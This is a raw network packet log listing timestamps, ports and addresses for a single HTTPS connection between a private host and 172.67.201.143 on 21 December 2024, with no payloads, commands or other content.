Dec 21, 2024 19:23:05.068658113 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.074037075 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.074229956 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.074296951 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.074310064 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.074470997 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.076827049 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.077066898 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.081583023 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.081821918 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.081923962 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.081937075 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.081959009 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.082145929 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.082159042 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.082328081 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.082773924 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.083143950 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.083360910 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.083602905 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.084131956 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.084408045 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.093070984 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.093086004 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.093261957 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.093333960 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.093348026 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.093422890 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.093568087 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.101262093 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.101277113 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.101483107 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.101584911 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.101795912 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.101809025 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.101897955 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.102086067 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.102089882 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.102099895 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.102132082 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.102325916 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.102339983 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.102504969 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.110493898 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.110508919 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.110610962 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.110702991 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.110780954 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.110794067 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.110894918 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.110991955 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.111320019 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.111526012 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.112651110 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.112917900 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.112970114 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.113198996 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.119088888 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.119173050 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.119440079 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.119455099 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.119468927 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.119740009 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.119951010 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.119965076 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.119980097 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.120183945 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.120197058 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.121386051 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.121654034 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.121666908 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.124408960 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.124479055 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.124592066 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.124604940 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.124687910 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.124716043 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.124901056 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.124914885 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.124996901 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.125164032 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.125178099 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.125411034 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.126317024 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.126558065 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.126988888 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.127002001 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.127182961 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.127273083 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.127285957 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.127659082 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.127787113 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.128154039 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.128588915 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.128778934 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.137937069 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.137950897 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.138190031 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.138202906 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.138274908 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.138422966 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.138761997 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.138986111 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.138986111 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.139041901 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.139055967 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.139228106 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.139283895 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.139456987 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.139563084 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.139844894 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.140106916 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.140423059 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.140743017 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.140808105 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.140821934 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.140930891 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.141058922 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.141124010 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.141431093 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.141444921 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.141792059 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.147528887 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.147598028 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.147742033 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.147820950 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.147828102 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.150348902 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.150607109 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.150607109 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.150619984 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.150629997 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.150682926 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.150818110 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.150878906 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.150939941 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.150948048 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.151326895 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.159267902 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.159284115 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.159735918 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.159735918 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.159750938 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.160029888 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.160059929 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.160073996 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.160331964 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.160408020 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.160672903 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.160689116 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.160696983 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.160948992 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.161098957 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.161427021 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.161923885 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.162158966 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.162445068 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.162667036 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.162739992 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.162952900 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.164356947 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.164628029 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.164648056 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.165049076 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.165208101 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.165472031 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.165673971 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.165875912 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.166820049 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.166999102 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.167083979 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.167273998 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.167555094 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.168102026 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.168529987 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.169035912 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.169234991 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.169970036 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.170166969 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.170212984 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.171339989 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.171561003 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.171771049 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.172027111 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.172040939 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.172209024 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.172653913 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.173085928 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.173732042 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.173938990 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.175893068 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.176122904 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.176215887 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.176273108 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.176434040 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.176532984 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.176908970 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.177104950 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.177973032 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.178196907 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.178214073 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.178456068 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.178829908 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.179014921 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.179569960 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.179795027 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.180510044 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.180733919 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.188069105 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.188082933 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.188307047 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.188402891 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.188416958 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.188569069 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.189238071 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.189835072 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.189892054 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.189899921 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.190110922 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.191164970 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.191409111 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.191654921 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.191875935 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.191982985 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.192157984 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.196180105 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.196193933 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.196417093 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.196425915 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.196518898 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.196640015 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.197148085 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.197568893 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.197621107 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.197621107 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.197630882 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.197757006 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.205074072 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.205091000 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.205414057 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.205425978 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.205729961 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.207537889 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.207556009 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.207746029 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.207864046 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.207871914 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.208030939 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.208482981 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.208681107 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.209419966 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.209592104 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.209743977 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.209752083 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.209758997 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.209994078 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.210481882 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.210669994 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.210747957 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.211013079 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.211272001 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.213226080 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.213241100 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.213407993 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.213418007 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.213484049 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.213613987 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.220501900 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.220521927 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.220899105 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.220899105 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.220912933 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.221098900 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.222943068 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.222963095 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.223130941 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.223208904 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.223221064 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.223304987 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.223417044 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.223436117 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.223684072 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.223750114 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.224184036 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.224385023 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.225110054 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.225342035 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.225430965 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.226305008 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.226479053 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.226551056 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.226558924 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.227044106 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.227195024 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.227205038 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.227430105 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.228409052 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.228708029 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.228941917 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.229173899 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.229477882 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.229702950 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.229779959 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.230000973 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.230178118 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.230272055 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.230355024 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.230489969 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.230593920 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.230628967 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.230762959 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.230884075 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.231091976 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.231252909 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.231339931 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.232062101 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.232259035 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.232326031 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.232403994 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.232531071 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.232650995 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.232661009 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.232760906 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.233601093 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.233820915 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.233830929 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.233917952 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.233994007 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.234155893 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.234164953 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.234261036 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.238240004 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.238255978 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.238439083 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.238450050 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.238555908 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.238723993 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.238995075 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.239212036 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.239212036 CET	49743	443	192.168.11.20	172.67.201.143
